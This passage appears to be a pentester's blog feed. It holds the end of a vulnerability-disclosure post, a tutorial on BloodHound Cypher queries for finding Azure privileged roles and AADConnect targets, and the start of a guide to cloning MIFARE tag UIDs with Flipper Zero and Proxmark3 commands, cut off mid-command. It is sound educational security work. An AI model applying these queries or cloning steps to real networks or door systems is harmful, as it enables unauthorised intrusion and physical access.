I would always act the same way, even knowing how the process might look like. I am here to make the world a safer place, and that was my contribution to it.</p>

<h1 id="acknowledgement">Acknowledgement</h1>

<p>I absolutely want to mention James Kettle here once more, as this was all his heavy lifting up front with his research, and I am just a lame leecher. He was very kind and willing to help, too.<br />
I also want to thank the AWS security team. Although the whole process left me with mixed feelings, the overall experience was more on the positive side.<br />
Last but not least my current company Vorwerk and especially my team, who allow me to dig into such topics as part of my work. You can thank them if the fix now covers your asses :)</p>

<p>Have a nice day<br />
Cheers Dan</p>]]></content><author><name></name></author><summary type="html"><![CDATA[Howdy folks. I am going to keep this one relatively short. But being my first ever reported public vuln, I want to keep this for the records. This is my journey of discovering and reporting a ratelimit bypass in one of the biggest IDPs out there.]]></summary></entry><entry><title type="html">Fantastic BloodHound Queries and Where to Find Them</title><link href="https://luemmelsec.github.io/Fantastic-BloodHound-Queries-and-Where-to-Find-Them/" rel="alternate" type="text/html" title="Fantastic BloodHound Queries and Where to Find Them" /><published>2023-06-01T00:00:00+00:00</published><updated>2023-06-01T00:00:00+00:00</updated><id>https://luemmelsec.github.io/Fantastic-BloodHound-Queries-and-Where-to-Find-Them</id><content type="html" xml:base="https://luemmelsec.github.io/Fantastic-BloodHound-Queries-and-Where-to-Find-Them/"><![CDATA[<p>Hey, dog walker! C’mere. How would ya like to buy the letter O? What about an invisible ice cream cone?<br />
Or… psssht… some fu***ng fancy BloodHound queries?</p>

<p><img src="/images/2023-06-01/lefty_meme.png" /></p>

<!--more-->
<h1 id="introduction">Introduction</h1>

<p>I was not happy that since the AzureHound release there were no integrated queries shipped with BloodHound, nor could I find ones besides the stuff from <a href="https://hausec.com/2020/11/23/azurehound-cypher-cheatsheet/">Hausec</a>. <br />
During several pentests in the past I collected cloud stuff with AzureHound, but while only being able to get some general info like “which users are GA” etc., was never able to make much profit out of it.<br />
So once again it was up to good old me to get shit done. But …</p>

<p>I have no idea about Cypher queries<br />
I don’t know what the Graph Theory is like <br />
I have no idea of what to search for <br />
I don’t even have a deeper knowledge of all the Azure stuff</p>

<p><i am="" dumb="" meme="" or="" sth="" alike=""></i></p>

<p>So all in all the best prerequisits to start off with a new topic I guess.<br />
It so happened that at the same time I was doing the Xintra Azure Attack course <a href="https://training.xintra.org/attacking-and-defending-azure-m365">Attacking and Defending Azure &amp; M365</a> from Lina <a href="https://twitter.com/inversecos">@inversecos</a>, and for nearly each topic there came up several ideas about what to look for or what would be beneficial to search for to carry out certain attacks. So I partly used the course as a sort of guideline to gather some of the queries as well as all the gems I collected in my personal arsenal of Azure attacks. If you want to dig into attacking Azure, absolutely go for it.<br />
As sharing is caring I also opened PRs for AzureHound and BloodHound (more on this later).<br />
If you just happen to be here for the fancy stuff -&gt; here are the standalone queries <a href="https://github.com/LuemmelSec/Custom-BloodHound-Queries">Awesome BloodHound Queries</a> and here the <a href="https://github.com/BloodHoundAD/BloodHound/pull/670">PR</a> for the tool itself.</p>

<p>There also is <a href="https://ernw.de/download/BloodHoundWorkshop/ERNW_DogWhispererHandbook.pdf">THE DOG WHISPERER’S HANDBOOK</a> from <a href="https://twitter.com/SadProcessor">Walter</a>, and I urge you to take a look into this masterpiece because it does a much better job than I ever could do.  <br />
I just combined this with another approach here, because I am a lazy ass pentester.</p>

<h1 id="cypher-what">Cypher what?</h1>

<p>First things first. What are we talking about in general?</p>

<h2 id="graph-theory">Graph Theory</h2>

<p>Well yeah, all the BloodHound stuff is based around the <a href="https://en.wikipedia.org/wiki/Graph_theory">Graph Theory</a>.</p>

<p><img src="/images/2023-06-01/graph_meme.png" /></p>

<p>It basically is all about relationships between stuff that is visualized in terms of nodes and edges, where nodes are like objects - let’s say a <code class="language-plaintext highlighter-rouge">computer</code> - and edges define what that relationship is like - let’s say <code class="language-plaintext highlighter-rouge">owns</code>. So if <code class="language-plaintext highlighter-rouge">Bob</code> owns a computer object in AD we would have two nodes and one edge.</p>

<p><img src="/images/2023-06-01/bob_owns_computa.png" /></p>

<p>But Dan you said Graph Theory and not Node Theory or Edge Theory…<br />
That is true my fellow friend. The cool thing here is, that we can combine more nodes and more edges to draw what is called a graph.<br />
Let’s now assume that in addition to the scenario described above we have a Domain Admin with a session on the <code class="language-plaintext highlighter-rouge">computer</code> node Bob <code class="language-plaintext highlighter-rouge">owns</code>, and he is holding the key to the kingdom as we all know from fairy tales. Now if we would like to know how <code class="language-plaintext highlighter-rouge">Bob</code> would be able to enter the castle it would be like this:</p>

<p><img src="/images/2023-06-01/bob_kingdom.png" /></p>

<p>I hope you understand that this is very simplified, but you should get the idea, right?<br />
And that’s about it.</p>

<h2 id="cypher">Cypher</h2>

<p>All the stuff you let the doggo collect is pushed into a <a href="https://en.wikipedia.org/wiki/Neo4j">Neo4j</a> database. The data in this database can be queried with a language called Cypher.
I can’t explain it better then the legend <a href="https://twitter.com/CptJesus">Rohan</a> himself, so please take your time to read this -&gt; <a href="https://blog.cptjesus.com/posts/introtocypher/">Intro To Cypher</a>.</p>

<p>In most cases what you want is that the GUI is drawing you a path from <code class="language-plaintext highlighter-rouge">A</code> to <code class="language-plaintext highlighter-rouge">B</code> or to stick with <code class="language-plaintext highlighter-rouge">Bob</code> and the <code class="language-plaintext highlighter-rouge">Kingdom</code>.<br />
We start with a <code class="language-plaintext highlighter-rouge">MATCH</code>, define nodes in parentheses <code class="language-plaintext highlighter-rouge">()</code> and edges in brackets <code class="language-plaintext highlighter-rouge">[]</code> and also provide it with a direction in which to search with <code class="language-plaintext highlighter-rouge">-</code> and <code class="language-plaintext highlighter-rouge">&lt;&gt;</code>. We also define variables that get filled with what we are searching like <code class="language-plaintext highlighter-rouge">Users</code>, <code class="language-plaintext highlighter-rouge">Groups</code>, but also <code class="language-plaintext highlighter-rouge">admin to</code>, <code class="language-plaintext highlighter-rouge">member of</code> etc. Lastly <code class="language-plaintext highlighter-rouge">RETURN</code> is used to present the results. If you would like to filter, let’s say on the node <code class="language-plaintext highlighter-rouge">User</code>, you can do so with a condition inside <code class="language-plaintext highlighter-rouge">{}</code>.
Be aware that everything is <strong>CASESENSITIVE</strong>. So you can search e.g. for <code class="language-plaintext highlighter-rouge">User</code> but not for <code class="language-plaintext highlighter-rouge">user</code>.</p>

<p>Let us start with a more simple query and assume we would like to see the group memberships of <code class="language-plaintext highlighter-rouge">Bob</code>. This could look like this:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>MATCH (u:User{name:"Bob"}), (g:Group), p=(u)-[:MemberOf]-&gt;(g) RETURN p
</code></pre></div></div>

<p>This translates to:<br />
Take the node <code class="language-plaintext highlighter-rouge">User</code> as variable <code class="language-plaintext highlighter-rouge">u</code> and <code class="language-plaintext highlighter-rouge">Group</code> as variable <code class="language-plaintext highlighter-rouge">g</code>, where we filter the <code class="language-plaintext highlighter-rouge">User</code> node for where the <code class="language-plaintext highlighter-rouge">name</code> property matches <code class="language-plaintext highlighter-rouge">Bob</code> and draw a path <code class="language-plaintext highlighter-rouge">p</code> for every matching <code class="language-plaintext highlighter-rouge">u</code> where the edge is <code class="language-plaintext highlighter-rouge">MemberOf</code> <code class="language-plaintext highlighter-rouge">g</code>.</p>

<p>The result would be a graph looking like this:</p>

<p><img src="/images/2023-06-01/bob_groups.png" /></p>

<p>When searching for paths, we can also limit / specifiy the amount of nodes the path might have by adding something like <code class="language-plaintext highlighter-rouge">*1..3</code> - between 1-3 nodes, <code class="language-plaintext highlighter-rouge">*1..</code> - between one and infinite nodes, <code class="language-plaintext highlighter-rouge">*..2</code> - maximum 2 nodes etc, to our search parameters. The <code class="language-plaintext highlighter-rouge">shortestPath</code> function searches, well, for the shortest path between the given nodes it can find - magic.   <br />
Like:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>MATCH (u:User{name:"Bob"}), (g:Group{name:"DOMAIN ADMINS@evilcorp.local"}), p=shortestPath((u)-[*1..3]-&gt;(m)) RETURN p
</code></pre></div></div>
<p>This would try to find the shortest path from <code class="language-plaintext highlighter-rouge">Bob</code> to the <code class="language-plaintext highlighter-rouge">DOMAIN ADMINS@evilcorp.local</code> group with a minimum of one node and a max of 3 nodes in the path.</p>

<h1 id="chatgpt-to-the-rescue">ChatGPT to the rescue</h1>

<p>Enough theory. This blog should be more like a guideline on how you can write your own queries without actually knowing what you are doing. So let’s hit the street and get some traction.</p>

<p><img src="/images/2023-06-01/dont_know_shit.png" /></p>

<p>If you are not living behind a rock, you probably heard of all the new fancy AIs like ChatGPT and alike. And so do I, thinking about how I can leverage this to my advantage.<br />
To be honest it was and is not as simple as asking for “Write me a Cypher query that searches for X”, but you can get a pretty good baseline out of it that you “just” need to tweak to make it work. Together with the already existing queries it becomes as easy as breathing.</p>

<p>So how was my approach lately? Well, it all starts with the question what I would like to search for. Let’s come up with some examples.</p>

<p><img src="/images/2023-06-01/chatgpt1.png" /></p>

<p>Perfect, lets copy pasta end get the results.</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>MATCH (u:User)-[:MEMBER_OF]-&gt;(g:Group)
WHERE g.value = "high"
RETURN u.name, g.name
</code></pre></div></div>

<p><img src="/images/2023-06-01/nodata.png" /></p>

<p>Well, fuck you ChatGPT. Why is this not working?</p>

<p>Let’s dig into it by checking what nodes are available at all and which properties they offer. This time ChatGPT for the win?</p>

<p><img src="/images/2023-06-01/chatgpt2.png" /></p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>MATCH (n)
RETURN DISTINCT labels(n) AS node_label
</code></pre></div></div>

<p><img src="/images/2023-06-01/nodata1.png" /></p>

<p>The struggle is real, but this time it happens because the GUI can not handle the raw Cypher query (don’t ask me why exactly). However, the Neo4j console can.</p>

<p><img src="/images/2023-06-01/neo4jconsole.png" /></p>

<p>To query all properties of a specific node we can do this like so (after a huge fight with ChatGPT again):</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>MATCH (u:User)
RETURN properties(u) AS user_properties
LIMIT 1
</code></pre></div></div>
<p><img src="/images/2023-06-01/nodeproperties.png" /></p>

<p>This means that we can e.g. directly filter the node <code class="language-plaintext highlighter-rouge">User</code> for the property <code class="language-plaintext highlighter-rouge">samaccountname</code>.</p>

<p>We can get a list of all available edges this way:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>MATCH ()-[r]-&gt;()
RETURN DISTINCT type(r) AS edge_label
</code></pre></div></div>
<p><img src="/images/2023-06-01/edges.png" /></p>

<p>If you followed along closely you might have noticed why our initial query to get members of high value groups in Azure didn’t work out.<br />
On the one hand ChatGPT used the nodes <code class="language-plaintext highlighter-rouge">User</code> and <code class="language-plaintext highlighter-rouge">Group</code> rather than <code class="language-plaintext highlighter-rouge">AZUser</code> and <code class="language-plaintext highlighter-rouge">AZGroup</code>.<br />
Additionally there is no <code class="language-plaintext highlighter-rouge">value</code> propertie available to neither <code class="language-plaintext highlighter-rouge">Group</code> nor <code class="language-plaintext highlighter-rouge">AZGroup</code>. I think what it tried to do is query the <code class="language-plaintext highlighter-rouge">highvalue</code> property.</p>

<p><img src="/images/2023-06-01/highvalue.png" /></p>

<p>Our final query can then go this way:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>MATCH (g:AZGroup) WHERE g.highvalue = true  RETURN g
or
MATCH (g:AZGroup{highvalue:true}) RETURN g
</code></pre></div></div>

<p><img src="/images/2023-06-01/highvalue_success.png" /></p>

<p>What the … one group? What about GlobalAdmin maybe?<br />
In terms of Azure, or Entra, or whatever the name will be next time, GlobalAdmin is a role rather than a group.</p>

<p><img src="/images/2023-06-01/hacker.png" /></p>

<p>We could therefore do it like this:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>MATCH p=(n)-[:AZHasRole|AZMemberOf*1..2]-&gt;(r:AZRole WHERE r.displayname =~ '(?i)Global Administrator|User Administrator|Cloud Application Administrator') RETURN p
</code></pre></div></div>

<p>In this case <code class="language-plaintext highlighter-rouge">~ '(?i)Global Administrator|User Administrator|Cloud Application Administrator')</code> specifies a regular expression searching for caseinsensitive names devided by the <code class="language-plaintext highlighter-rouge">|</code> as <code class="language-plaintext highlighter-rouge">OR</code>.</p>

<p>Perfekt.<br />
Next case.</p>

<p>I wanted to find all Azure users that are synced from the onPrem AD, so I could check if it would be possible to jump from AD -&gt; AAD.<br />
Looking inside AAD, we find that the user objects that are synced have a property called <code class="language-plaintext highlighter-rouge">onpremisesyncenabled</code>.<br />
Cool let’s search for it:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>MATCH (n:AZUser WHERE n.onpremisesyncenabled = true) RETURN n
</code></pre></div></div>

<p><img src="/images/2023-06-01/nomeme.png" /></p>

<p>But why? The BloodHound GUI even shows this field, but it is empty all the time.<br />
It turned out that the API AzureHound is using under the hood (It is the Graph API <code class="language-plaintext highlighter-rouge">/v1.0/users</code> to fetch the Azure user’s details) has a default set of values that are fetched if you don’t tell it to do otherwise by giving it a <code class="language-plaintext highlighter-rouge">$select</code> parameter with the additional values you want to collect. See <a href="https://learn.microsoft.com/en-us/graph/api/resources/users?view=graph-rest-1.0#common-properties">here</a> and <a href="https://learn.microsoft.com/en-us/graph/api/resources/user?view=graph-rest-1.0#properties">here</a> and <a href="https://learn.microsoft.com/en-us/graph/api/user-list?view=graph-rest-1.0&amp;tabs=http#optional-query-parameters">here</a>.</p>

<p>The only things you get with AzureHound out of the box is this:</p>

<p><img src="/images/2023-06-01/defaultvalues.png" /></p>

<p>So I was like</p>

<p><img src="/images/2023-06-01/holdmybeer.png" /></p>

<p>The outcome is the following <a href="https://github.com/BloodHoundAD/AzureHound/pull/42">PR</a> which fixes this and some other issues.</p>

<p>One last example and then the rest is up to you guys to play around and create your own queries.</p>

<p>I followed <a href="https://twitter.com/fabian_bader">Fabian Bader`s</a> <a href="https://cloudbrothers.info/en/prem-global-admin-password-reset/">blog</a> of pwning onPrem AADConnect servers to move and escalate to Azure. I was wondering if I could write a query that would help me identify AADC related  objects, no matter what they are, and ended up with this:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>MATCH (u) WHERE (u:User OR u:AZUser) AND (u.name =~ '(?i)^MSOL_|.*AADConnect.*' OR u.userprincipalname =~ '(?i)^sync_.*') OPTIONAL MATCH (u)-[:HasSession]-&gt;(s:Session) RETURN u, s
</code></pre></div></div>

<p>So we are searching for nodes of the type <code class="language-plaintext highlighter-rouge">User</code> or <code class="language-plaintext highlighter-rouge">AZUser</code>. Their name should be (fuck the case) <code class="language-plaintext highlighter-rouge">MSOL_something</code> or contain <code class="language-plaintext highlighter-rouge">AADConnect</code> or <code class="language-plaintext highlighter-rouge">sync_xxx</code>. Optional we are also looking if they have sessions, and if yes, return them.</p>

<p>This will give you something like this:</p>

<p><img src="/images/2023-06-01/aadc.png" /></p>

<p>From this query we have all the AADSync users that reside inside Azure (our endtarget), we have some onPrem users that are related to AADC, and from the Azure AADSync users we can also derive the onPrem AADConnect server names, which we need to target first.</p>

<h1 id="wrap-up">Wrap up</h1>

<p>I think we are able to simplify tasks with the help of AI, while we should not blindly trust what it is telling us.<br />
Things that can help you with cool BloodHound queries:</p>

<ul>
  <li>Use existing queries as a starting point. From there adjust them to your needs.</li>
  <li>Ask ChatGPT. But please, do not just rely on the results and expect ne need to tweak them. Define everything you want as precise as possible. If something in the answer is off, give it a clue to correct the mistake.</li>
  <li>Ask the community. I personally reached out to Jonas and Andy several times asking questions about why certain things won’t work and how to work around. One advise though: Do not blindly trust them as well :)</li>
  <li>Read the blogs. This one also provides some useful links. The Handbook has even more of them.</li>
</ul>

<h1 id="acknowledgement">Acknowledgement</h1>

<p>Big shoutout to all you awesome people sharing knowledge and tools:</p>

<p><a href="https://twitter.com/_wald0">Andy</a>   <br />
<a href="https://twitter.com/harmj0y">Will</a><br />
<a href="https://twitter.com/CptJesus">Rohan</a><br />
<a href="https://twitter.com/inversecos">Lina</a>
<a href="https://twitter.com/SadProcessor">Walter</a><br />
<a href="https://twitter.com/Haus3c">Ryan</a><br />
<a href="https://twitter.com/fabian_bader">Fabian</a><br />
<a href="https://twitter.com/Jonas_B_K">Jonas</a></p>

<p>Stay safe and happy Graphing.<br />
LuemmelSec</p>]]></content><author><name></name></author><summary type="html"><![CDATA[Hey, dog walker! C’mere. How would ya like to buy the letter O? What about an invisible ice cream cone? Or… psssht… some fu***ng fancy BloodHound queries?]]></summary></entry><entry><title type="html">gaylord M FOCker - ready to pwn your MIFARE tags</title><link href="https://luemmelsec.github.io/gaylord-M-FOCker-ready-to-pwn-your-MIFARE-tags/" rel="alternate" type="text/html" title="gaylord M FOCker - ready to pwn your MIFARE tags" /><published>2023-01-14T00:00:00+00:00</published><updated>2023-01-14T00:00:00+00:00</updated><id>https://luemmelsec.github.io/gaylord-M-FOCker-ready-to-pwn-your-MIFARE-tags</id><content type="html" xml:base="https://luemmelsec.github.io/gaylord-M-FOCker-ready-to-pwn-your-MIFARE-tags/"><![CDATA[<p>Hello everyone and a happy new year (well, aparently you can see how long it took me to finish this masterpiece :) ).<br />
This time we will low dive a little into the world of RFID and NFC.<br />
Did you ever want to scare the shit out of your customer in regards to the security of his door locking system?<br />
Do you think it is cool to open gates with a Flipper Zero?<br />
You like yourself some close combat Red Teaming?<br />
Get your Flipper Zero and Proxmarks ready and follow along, as we cover some basics and carry out a variety of attacks.<br />
As this is absolute uncharted territory for me, this will (like almost always) be very beginner friendly.<br />
<img src="/images/2023-01-14/focker_meme.png" /></p>

<!--more-->
<h1 id="introduction">Introduction</h1>

<p>I was always keen to know about the inner workings of all those door closing / access systems that I ran across in mostly all of my pentests. You know, the ones that you also have like in hotels, for train rides etc., where you get a creditcard look-a-like and can access certain areas with it, or pay in your canteen.  <br />
But where to start? Ofcourse I asked <a href="https://twitter.com/herrmann1001">Iceman</a>, because when you only enter stuff like Proxmark, RFID hacking, Chameleon mini, there will be no way around him. He pointet me to his <a href="https://discord.com/invite/QfPvGFRQxH">Discord</a>, after reaching out.  <br />
But there is a catch: I don’t feel comfy with Discord. Always a pain in the ass, because everything is so fast. Searching stuff is a pitty, and everything is full of noise. I tried to find answers to:</p>
<ul>
  <li>Where should I start?</li>
  <li>What hardware is sufficient for a beginner?</li>
  <li>and so on …</li>
</ul>

<p>But guess what - either nothing or so much it wouldn’t help.<br />
So back to some old school google-fu and try &amp; error, and blog about it. <br />
This was also a good justification to buy myself a Flipper Zero, because you know I needed it for my research :)</p>

<h2 id="terminology-and-technical-background">Terminology And Technical Background</h2>

<p>First things first. What are we talking about in general?</p>

<h3 id="rfid">RFID</h3>

<p>RFID is an abreviation for <code class="language-plaintext highlighter-rouge">R</code>adio <code class="language-plaintext highlighter-rouge">F</code>requency <code class="language-plaintext highlighter-rouge">Id</code>entifikation.<br />
It’s a technology that uses electromagnetic fields to transmit data that a receiver catches from an RFID tag. It is mostly one-way: <code class="language-plaintext highlighter-rouge">tag -&gt; reader</code>. <br />
The reader is also refered to as interrogator.<br />
A tag at least consists of a chip or circuit and an antenna. 
There are active, passive and semi-passive tags, where the active version has it’s own powersource (so this adds to the components), the passive one is completely powered by the reader and the semi-passive one has a powered chip or circuit, but data transmission is powered by the reader.<br />
Tags can be read-only or read-writeable.<br />
RFID can operate on a variety of frequencies, like low-frequency (LF), high-frequency (HF), ultra-high-frequency (UHF), microwave etc., ranging from 120 kHz upto 24,125 GHz. For further info see <a href="https://en.wikipedia.org/wiki/Radio-frequency_identification#Frequencies">here</a>.<br />
The used frequency as well as the type of tag play a role when it comes to the range a tag can be read from. We are talking about 10 cm - 200 m.<br />
Usecases are inventory management, asset / personal tracking like ID tags in animals, etc.</p>

<p><img src="/images/2023-01-14/rfid_meme.png" /></p>

<h3 id="nfc">NFC</h3>

<p>NFC stands for <code class="language-plaintext highlighter-rouge">N</code>ear <code class="language-plaintext highlighter-rouge">F</code>ield <code class="language-plaintext highlighter-rouge">C</code>ommunication.<br />
It’s a transmission standard derived from RFID, so also based on electromagnetic induction.<br />
Unlike RFID communication happens bi-directional: <code class="language-plaintext highlighter-rouge">tag &lt;-&gt; reader</code>.<br />
NFC uses the HF of RFID, which is 13,56 MHz, and as such is limited to a very close range of operation of about 10 cm max.<br />
We are again dealing with passive and active tags. Think of your smartphone or credit card.<br />
Usecases are wireless payment, door locking systems, student IDs, transportation, etc.</p>

<h3 id="mifare-world">MIFARE World</h3>

<p>MIFARE is a contacless chipcard technology developed by NXP Semiconductors and residing inside the NFC cosmos. The evolution of the tags somehow looks like this, where each step introduced new (security) features:</p>
<ul>
  <li>MIFARE Classic 1k &amp; 4k (EV1)</li>
  <li>MIFARE Ultralight (no security, more cost effective cheap tag)</li>
  <li>MIFARE DESFire</li>
  <li>MIFARE Plus</li>
</ul>

<p>More info <a href="https://en.wikipedia.org/wiki/MIFARE">here</a>.</p>

<p>The tag’s data is stored in blocks, and these are aggregated to sectors.<br />
For a MIFARE Classic 1K tag this looks like this:</p>

<p><img src="/images/2023-01-14/mfc_blocks.png" /></p>

<p>Sector 0 block 0 always holds the UID of the tag.<br />
The last block of each sector stores the access keys <code class="language-plaintext highlighter-rouge">A</code> and <code class="language-plaintext highlighter-rouge">B</code>, as well as the access bits for this specific sector.<br />
Both keys can be tied to different access rights, like read-only or write. To carry out certain actions on these blocks you need to know the “password” in terms of the key(s).</p>

<p><img src="/images/2023-01-14/mfc_moreblocks.png" /><br />
Pic thankfully stolen from <a href="https://jjensn.com/mifare-easy-targets/">here</a></p>

<p>Sectors can be assigned to applications, so that you could e.g. store data for multiple access systems on one tag. The information about which application is assigned to what sector is stored in the so called <code class="language-plaintext highlighter-rouge">M</code>IFARE <code class="language-plaintext highlighter-rouge">A</code>pplication <code class="language-plaintext highlighter-rouge">D</code>irectory, see <a href="https://www.nxp.com/docs/en/application-note/AN10787.pdf">here</a>.</p>

<p><img src="/images/2023-01-14/pm3_mad.png" /></p>

<h3 id="hardware">Hardware</h3>

<p>I personally started just with the Flipper Zero. It could read tags, emulate them (turns out not completely) and attack them with wordlists. But I ran into the situation that I was not able to get all keys with the attacks available from the Flipper (or where is simply failed the attacks), and it also lacks support (as of now) to be used with <a href="https://github.com/nfc-tools">nfc-tools</a> or <a href="https://github.com/RfidResearchGroup/proxmark3">pm3</a>.<br />
So I also bought myself a Proxmark3 easy, to carry out some more attacks.</p>

<h1 id="getting-started">Getting started</h1>

<h2 id="hardware-1">Hardware</h2>

<h3 id="buying-list">Buying List</h3>

<p><a href="https://shop.flipperzero.one">Flipper Zero</a><br />
<a href="https://www.amazon.de/UANG-Proxmark3-Passform-Proxmark-Schreiber/dp/B09SZB4QRR/ref=pd_lpo_3?pd_rd_w=pZQuu&amp;content-id=amzn1.sym.992f08af-eb2a-4a7b-90a4-cd77032caf05&amp;pf_rd_p=992f08af-eb2a-4a7b-90a4-cd77032caf05&amp;pf_rd_r=4JZ422TK4C8ZF5045JRR&amp;pd_rd_wg=GjP1z&amp;pd_rd_r=3116558d-7adf-45ed-87b1-dd5e720e7e19&amp;pd_rd_i=B09SZB4QRR&amp;psc=1">Proxmark3 Easy with <strong>512 kB</strong> memory</a><br />
You want to make sure to <strong>NOT</strong> get the 256 kB one, as you might not be able to flash the Iceman firmware (well there is a workaround to that described in the repo, but the culprit is you don’t get all the features onto it).<br />
Mine shipped with an additional coin tag and 4 cards, all of them magic typ 1a ones.</p>

<h3 id="setup">Setup</h3>

<h4 id="flipper-zero">Flipper Zero</h4>

<p>For the Flipper I opted to flash the <a href="https://github.com/DarkFlippers/unleashed-firmware">Unleashed firmware</a>, mainly because I also wanted to play around with my car’s keyfob which is from Japan, and as such operating on non EU standard frequencies. You are fine with the standard firmware, however.<br />
Flashing the firmware is as easy as updating your Flipper to the latest official release and then use the <code class="language-plaintext highlighter-rouge">URL</code> parameter of the official webinstaller to flash the new firmware:</p>

<p><a href="https://lab.flipper.net/?url=https://unleashedflip.com/fw/unlshd-023/flipper-z-f7-update-unlshd-023.tgz&amp;channel=release-cfw&amp;version=unlshd-023">https://lab.flipper.net/?url=https://unleashedflip.com/fw/unlshd-023/flipper-z-f7-update-unlshd-023.tgz&amp;channel=release-cfw&amp;version=unlshd-023 </a></p>

<p>Make sure to point to the latest Unleashed firmware. Everything is explained on the <a href="https://github.com/DarkFlippers/unleashed-firmware/releases">release</a> page.</p>

<p><img src="/images/2023-01-14/Flipper-Unleashed.png" /></p>

<h4 id="pm3-easy">PM3 Easy</h4>

<p>You most probably want to flash the <a href="https://github.com/RfidResearchGroup/proxmark3">Iceman FW</a> onto your device, and the easiest way I found to do it on Windows was <a href="https://www.proxmarkbuilds.org">here</a>. Just follow the video, and you are good to go.<br />
The steps are:</p>
<ul>
  <li>Download the latest build for the PM3 Easy including PM3 software -&gt; <a href="https://www.proxmarkbuilds.org/latest/rrg_other">https://www.proxmarkbuilds.org/latest/rrg_other</a></li>
  <li>Attach PM3 Easy via USB to your computer. Use a good USB cable if at hand. For me the provided one worked fine.</li>
  <li>Run the <code class="language-plaintext highlighter-rouge">pm3-flash-bootrom.bat</code> first</li>
  <li>Run the <code class="language-plaintext highlighter-rouge">pm3-flash-fullimage.bat</code> next. This will flash the actual Iceman Firmware to the device.</li>
</ul>

<p>You should now end up with something that looks like this:</p>

<p><img src="/images/2023-01-14/pm3-flashed.png" /></p>

<p>You can lastely start the <code class="language-plaintext highlighter-rouge">pm3.bat</code> to interact with your device.</p>

<h2 id="tips--tricks">Tips &amp; Tricks</h2>

<p>During my hacking sessions, I needed several attempts to get things right. Troubleshooting was not easy, as I didn’t know exactly what I was doing - but ultimately persistence payed off.<br />
So when you first examine a tag, make sure that you for 100% know what exactly you are dealing with.<br />
Your initial command should be (in case of HF) <code class="language-plaintext highlighter-rouge">hf search</code>.</p>

<p><img src="/images/2023-01-14/tip1.png" /></p>

<p>Looking at the output, it looks like we are dealing with a MIFARE Classic type of tag. And that is what I assumed as well. Only thing striking is PRNG = Hard.<br />
Now running <code class="language-plaintext highlighter-rouge">autopwn</code> suggests that if found a hardened <code class="language-plaintext highlighter-rouge">EV1</code> version, which is strange as normally <code class="language-plaintext highlighter-rouge">hf search</code> should already have been able to give this info, which it didn’t.</p>

<p><img src="/images/2023-01-14/tip2.png" /></p>

<p>This is when I stumbled upon the <code class="language-plaintext highlighter-rouge">Plus</code> version of tags, which can operate in different <code class="language-plaintext highlighter-rouge">S</code>ecurity <code class="language-plaintext highlighter-rouge">L</code>evels. You can find a really good overview <a href="https://tech.springcard.com/2011/mifare-plus-in-a-nutshell/">here</a>.<br />
In <code class="language-plaintext highlighter-rouge">SL 1</code>, a Plus tag operates / emulates a normal Classic tag. But, and now it get’s weired, these tags can also come in a 2k version, despite the Classic tags that only are 1k or 4k.<br />
To see if you are dealing with a Plus tag use <code class="language-plaintext highlighter-rouge">hf mfp info</code>.</p>

<p><img src="/images/2023-01-14/tip3.png" /></p>

<p>Indeed, we are dealing with a Plus 2k tag. 
Every command I tried beforehand was always without any flag set in regards to the tag size. As such, PM3 defaults to 1k. In my case also sectors 16 &amp; 17 were used (1k ends at sector 15), where acutally the signature was stored. This made me cut these two sectors at each and every attack, and I never was able to have the reader even recognize it.<br />
For mostly all commands there are like <code class="language-plaintext highlighter-rouge">--2k</code> or <code class="language-plaintext highlighter-rouge">--4k</code> flags, that tell PM3 to extend the reading, dumping, attacks, etc.<br />
So, safe yourself some time with this :)</p>

<h1 id="lets-play---general-attacks">Let’s play - general attacks</h1>

<p>I will solely stick to attacks against MIFARE Classic tags here, as I did nothing else.<br />
As to my current understanding, the only attack working against newer versions like MIFARE DESFire are relaying attacks. If you want to dive into this, check my conclusion section at the very end.</p>

<p>Some words of advise:<br />
Good hardware and good placing seems to be crucial when dealing and playing with RFID / NFC stuff. You’ll want to:</p>

<ul>
  <li>Use some quality USB cable for the PM3 to connect to your computer.</li>
  <li>Even use something better than the Easy model if you can afford it - please find and overview <a href="https://proxmark.com/#buy-proxmark">here</a>. But be prepared to pay with one of your kidneys :). I had to do the same attacks over and over again to crack my tags open.</li>
  <li>If you need to clear the Flipper Zero key cache, you’ll find the according <code class="language-plaintext highlighter-rouge">hidden</code> files under <code class="language-plaintext highlighter-rouge">SD-card/nfc/.cache/</code>, where you can just delete them.</li>
  <li>Place reader and tag as close together as possible. A little trick is to use a strong flashlight behind your tag to spot the spool.</li>
</ul>

<p><img src="/images/2023-01-14/Card-setup.jpg" width="300" /></p>

<p>You can see the spool as well as the antenna running around the outside of the card.</p>

<p>That being said …</p>

<h1 id="general-attacks">General Attacks</h1>

<h2 id="just-uid">Just UID</h2>

<p>Sometimes even security systems don’t need or want or are not designed to make use of the secured data on a tag at all. They are solely relying on the UID as an identification feature (have this in my gym for example).<br />
So gaining access is as easy peasy as cloning / copying / emulating the UID of a tag. The readout of the UID is done in a second, just needs a quick touch with the reader to the tag.</p>

<h3 id="flipper">Flipper</h3>

<p>You can read a UID if you need it from the NFC menu’s <code class="language-plaintext highlighter-rouge">read</code> function and then emulate it:<br />
<img src="/images/2023-01-14/Flipper_emulate_uid.gif" /></p>

<p>The Flipper can also write to magic tags of version 1a <code class="language-plaintext highlighter-rouge">Applications -&gt; Tools -&gt; NFC Magic</code>:</p>

<p><img src="/images/2023-01-14/flipper_magic.png" /></p>

<h3 id="pm3">PM3</h3>

<p>Read the UID from a given tag:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>hf search
</code></pre></div></div>
<p><img src="/images/2023-01-14/pm3_read_uid.png" /></p>

<p>Now we can either write the UID to another tag:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>hf mf csetuid -u 66&lt;redacted&gt;F --atqa 0004 --sak 08
